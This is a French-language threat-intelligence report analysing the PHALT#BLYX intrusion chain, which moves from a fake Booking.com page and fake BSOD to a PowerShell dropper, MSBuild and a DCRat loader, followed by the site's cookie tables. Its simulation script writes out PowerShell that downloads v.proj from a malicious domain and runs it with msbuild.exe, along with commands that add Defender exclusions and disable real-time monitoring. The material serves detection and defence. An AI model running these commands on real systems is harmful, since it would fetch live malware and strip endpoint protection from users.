Analyse de PHALT#BLYX : faux BSOD et outils de construction de confiance dans les chaînes de logiciels malveillants

Ruslan Mikhalov Chief of Threat Research at SOC Prime

Suivre

Analyse de PHALT#BLYX : faux BSOD et outils de construction de confiance dans les chaînes de logiciels malveillants

Detection stack

AIDR
Alert
ETL
Query

Rapport
Flux d'Attaque
Détections
Simulations

Résumé

Le rapport détaille une chaîne d’intrusion multi-étapes affectant le secteur de l’hôtellerie qui combine une fausse page d’accueil Booking.com, une animation trompeuse de type écran bleu, et un message à la ClickFix pour persuader les utilisateurs d’exécuter un dropper PowerShell. Ce dropper récupère un fichier projet MSBuild, qui exécute un chargeur DCRat sur mesure. Le chargeur altère Windows Defender, établit une persistance en utilisant un raccourci de démarrage .url, et injecte sa charge utile dans des processus légitimes. En s’appuyant sur des utilitaires « living-off-the-land » comme PowerShell et MSBuild.exe, les opérateurs réduisent les traces évidentes de logiciels malveillants. Des artefacts en langue russe dans la chaîne sont également notés comme un indice d’attribution.

Enquête

Les chercheurs de Securonix ont cartographié le flux depuis les emails de phishing offrant des liens de « résiliation de réservation » vers un domaine malveillant, puis vers une ligne de commande PowerShell qui localise msbuild.exe, télécharge un fichier v.proj, et l’exécute. Le projet v.proj effectue plusieurs actions: il ajoute des exclusions Windows Defender, récupère staxs.exe (une variante de DCRat), crée un raccourci de démarrage .url pour la persistance, et se connecte à l’infrastructure de commande et contrôle sur le port 3535. Le chargeur compresse ensuite et injecte l’étape finale dans aspnet_compiler.exe, utilisant un processus d’hollowing pour se fondre dans une activité légitime.

Atténuation

Réduisez l’exposition en formant les utilisateurs à reconnaître les messages de type ClickFix et les ingénieries sociales « exécutez cette commande pour résoudre ». Surveillez et restreignez l’exécution de MSBuild.exe, notamment lorsqu’il est invoqué depuis des chemins inhabituels ou des flux de travail pilotés par l’utilisateur, et activez la journalisation des blocs de script PowerShell pour une meilleure visibilité. Ajoutez des détections pour la création de raccourcis .url dans le dossier de démarrage et pour les modifications des exclusions de Windows Defender. Au niveau du réseau, bloquez le trafic sortant vers les domaines malveillants identifiés et interdisez explicitement ou alertez sur les sorties TCP/3535 suspectes là où elles ne sont pas requises.

Réponse

Si une activité est détectée, isolez l’hôte et conservez les artefacts clés, y compris v.proj, staxs.exe, et tout fichier de démarrage .url. Supprimez les exclusions Defender non autorisées, terminez les processus malveillants ou injectés, et bloquez les domaines/IPs associés de commande et contrôle, particulièrement toute communication sur le port 3535. Réinitialisez les identifiants potentiellement exposés, effectuez une analyse complète des logiciels malveillants, et examinez l’environnement pour détecter des exécutions similaires pilotées par MSBuild et des modèles de commandes PowerShell. Enfin, déployez des détections informées par le renseignement sur les menaces qui se concentrent sur les abus de MSBuild, le comportement ClickFix, et la persistance via les raccourcis de démarrage pour prévenir la récurrence.

« graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef file fill:#e6e6e6 classDef folder fill:#d9ead3 %% Nodes – Actions action_phishing[« Action – T1566.002 Spearphishing Link Description: La victime reçoit un email qui semble provenir de Booking.com et clique sur un lien malveillant vers un faux site de réservation. »] class action_phishing action action_user_execution[« Action – T1204.001 Exécution par l’utilisateur & T1204.004 Copier-coller malveillant Description: Le faux site affiche une page ressemblant à un BSOD qui dit à l’utilisateur de coller une commande PowerShell dans le dialogue Exécuter. »] class action_user_execution action action_defense_evasion_exclusions[« Action – T1562 Altération des défenses & T1564.012 Fichier/Chemin Exclusions Description: Le script v.proj ajoute des exclusions dans Windows Defender pour ProgramData et les extensions exécutables courantes. »] class action_defense_evasion_exclusions action action_persistence_shortcut[« Action – T1547.009 Modification de raccourci Description: Crée un raccourci Internet (.url) dans le dossier de démarrage de l’utilisateur qui pointe vers l’exécutable déposé. »] class action_persistence_shortcut action action_process_hollowing[« Action – T1055.012 Creusement de processus Description: Injecte la charge finale DCRat dans aspnet_compiler.exe en utilisant le creusement de processus. »] class action_process_hollowing action action_reflective_loading[« Action – T1620 Chargement de code réflexif Description: Charge des charges utiles DLL additionnelles de manière réflexive via Assembly.Load. »] class action_reflective_loading action action_c2_nonstandard_port[« Action – T1571 Port non standard Description: RAT communique avec les serveurs C2 via le port TCP 3535. »] class action_c2_nonstandard_port action action_c2_dynamic_resolution[« Action – T1568 Résolution dynamique Description: Résout plusieurs domaines C2 (ex. : asj77.com) à l’exécution. »] class action_c2_dynamic_resolution action action_obfuscation[« Action – T1027.005 Fichiers ou informations obfusqués Description: Les charges utiles sont fortement obfusquées et emballées pour échapper à la détection statique. »] class action_obfuscation action %% Nodes – Tools tool_powershell[« Outil – T1059.001 PowerShell Description: Exécute la commande malveillante qui télécharge le fichier de projet MSBuild. »] class tool_powershell tool tool_msbuild[« Outil – T1127.001 MSBuild Description: Utilitaire de développeur de confiance utilisé pour compiler et exécuter le fichier v.proj malveillant. »] class tool_msbuild tool tool_aspnet_compiler[« Outil – aspnet_compiler.exe Description: Compilateur .NET légitime ciblé pour le creusement de processus. »] class tool_aspnet_compiler process %% Nodes – Malware / Files malware_vproj[« Malware – v.proj (projet MSBuild malveillant) Description: Téléchargé par PowerShell, compilé par MSBuild, ajoute des exclusions à Defender et dépose une charge utile. »] class malware_vproj malware malware_dcrat[« Malware – Charge utile DCRat Description: Cheval de Troie d’accès à distance final injecté dans aspnet_compiler.exe. »] class malware_dcrat malware file_shortcut[« Fichier – Raccourci de démarrage (.url) Description: Pointe vers l’exécutable DCRat déposé et garantit l’exécution automatique au démarrage. »] class file_shortcut file folder_startup[« Dossier – Répertoire de démarrage Description: Contient le raccourci malveillant causant la persistance. »] class folder_startup folder file_dcrat_exe[« Fichier – Exécutable DCRat déposé Description: Exécuté après l’activation du raccourci. »] class file_dcrat_exe file dll_payloads[« Fichier – Charges utiles DLL additionnelles Description: Chargées de manière réflexive par la charge utile DCRat. »] class dll_payloads file port_3535[« Réseau – Port TCP 3535 Description: Utilisé pour la communication C2. »] class port_3535 file domain_asj77[« Réseau – asj77.com (domaine C2) Description: Résolu à l’exécution pour le commandement et le contrôle. »] class domain_asj77 file %% Connections – Flow action_phishing u002du002d>|mène à| action_user_execution action_user_execution u002du002d>|exécute| tool_powershell tool_powershell u002du002d>|télécharge| malware_vproj malware_vproj u002du002d>|compilé par| tool_msbuild tool_msbuild u002du002d>|exécute| malware_vproj malware_vproj u002du002d>|ajoute| action_defense_evasion_exclusions action_defense_evasion_exclusions u002du002d>|crée| file_shortcut file_shortcut u002du002d>|placé dans| folder_startup folder_startup u002du002d>|charge| file_dcrat_exe malware_vproj u002du002d>|dépose| file_dcrat_exe file_dcrat_exe u002du002d>|exécute| malware_dcrat malware_dcrat u002du002d>|injecte dans| tool_aspnet_compiler tool_aspnet_compiler u002du002d>|creusé par| malware_dcrat malware_dcrat u002du002d>|charge de manière réflexive| dll_payloads malware_dcrat u002du002d>|communique via| action_c2_nonstandard_port action_c2_nonstandard_port u002du002d>|utilise| port_3535 malware_dcrat u002du002d>|utilise la résolution dynamique| action_c2_dynamic_resolution action_c2_dynamic_resolution u002du002d>|résout vers| domain_asj77 malware_dcrat u002du002d>|obfusqué par| action_obfuscation «

Flux d’attaque

Narratif & Commandes de l’Attaque :
L’acteur de la menace ouvre une session PowerShell sur un point d’extrémité compromis. Il localise d’abord le msbuild.exe système, puis télécharge un projet MSBuild malveillant (v.proj) dans C:ProgramData. L’attaquant invoque immédiatement msbuild.exe pour exécuter la charge utile, qui dépose une deuxième étape. Enfin, il altère Windows Defender en ajoutant des exclusions et en désactivant la surveillance en temps réel pour garantir la persistance.

Script de Test de Régression :

# Script de simulation PHALT#BLYX – reproduit l'activité déclenchant la détection
# --------------------------------------------------------------
# 1. Localiser msbuild.exe
$msb = (Get-ChildItem -Path C: -Filter msbuild.exe -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1).FullName

# 2. Téléchargez le projet MSBuild malveillant vers ProgramData
$projUrl = "https://2fa-bns.com/v.proj"
$dest    = "$env:ProgramDatav.proj"
Invoke-WebRequest -Uri $projUrl -OutFile $dest

# 3. Exécuter le projet avec msbuild.exe
& $msb $dest

# 4. Modifier les paramètres de Windows Defender (n'importe lequel des éléments suivants satisfera à la règle)
#    Décommentez les lignes souhaitées pour simuler les actions de l'attaquant.

# Ajouter un chemin d'exclusion
# Add-MpPreference -ExclusionPath "$env:ProgramData"

# Ajouter une exclusion pour les fichiers .exe
# Add-MpPreference -ExclusionExtension ".exe"

# Ajouter une exclusion pour les fichiers .ps1
# Add-MpPreference -ExclusionExtension ".ps1"

# Désactiver la Surveillance en temps réel
# Set-MpPreference -DisableRealtimeMonitoring $true

Commandes de Nettoyage :

# Supprimez le fichier projet déposé
Remove-Item -Path "$env:ProgramDatav.proj" -Force -ErrorAction SilentlyContinue

# Restaurez la Surveillance en temps réel de Windows Defender (si elle a été désactivée)
Set-MpPreference -DisableRealtimeMonitoring $false

# Supprimez toutes les exclusions ajoutées (exemple pour l'exclusion de chemin)
Remove-MpPreference -ExclusionPath "$env:ProgramData"

# Supprimez éventuellement tous les fichiers restants créés par la charge utile
# Remove-Item -Path "C:ProgramDatamalicious_payload.exe" -Force -ErrorAction SilentlyContinue

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Name	Descripiton
PHPSESSID	Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages.
sp_i	Used to store information about authenticated User.
sp_r	Used to store information about authenticated User.
sp_a	Used to store information about authenticated User.

Name	Descripiton
tuuid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
tuuid_last_update	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
um	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
umeh	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
na_sc_x	Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site.
APID	Collects anonymous data related to the user's visits to the website.
IDSYNC	Collects anonymous data related to the user's visits to the website.
_cc_aud	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_cc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_dc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_id	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
dpm	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
acs	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
clid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
KRTBCOOKIE_#	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PUBMDCID	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PugT	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
ssi	Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads.
_tmid	Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips.
wam-sync	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
wui	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
AFFICHE_W	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
B	Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor.
1P_JAR	These cookies are used to gather website statistics, and track conversion rates.
APISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
HSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
NID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SAPISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SIDCC	Security cookie to protect users data from unauthorised access.
SSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
__utmx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.
__utmxx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.

Name	Descripiton
_hjid	Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID.
_hjIncludedInSample	This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample.
intercom-id-[xxx]	This cookie is used by Intercom as a session so that users can continue a chat as they move through the site.
intercom-session-[xxx]	Used to keeping track of sessions and remember logins and conversations.
demdex	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
CookieConsent	Stores the user's cookie consent state for the current domain.
__cfduid	Used by the content network, Cloudflare, to identify trusted web traffic.
ss	These cookies enable the website to provide enhanced functionality and personalisation . They may be set by us or by third party providers whose services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality .

Name	Descripiton
_ga	This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.
_gat	Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes.
_gid	This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website.
IDE	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
r/collect	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
test_cookie	Used to check if the user's browser supports cookies.
collect	Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels.
ads/user-lists/#	These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.
c	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
khaos	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
put_#	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpb	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpx	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
tap.php	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.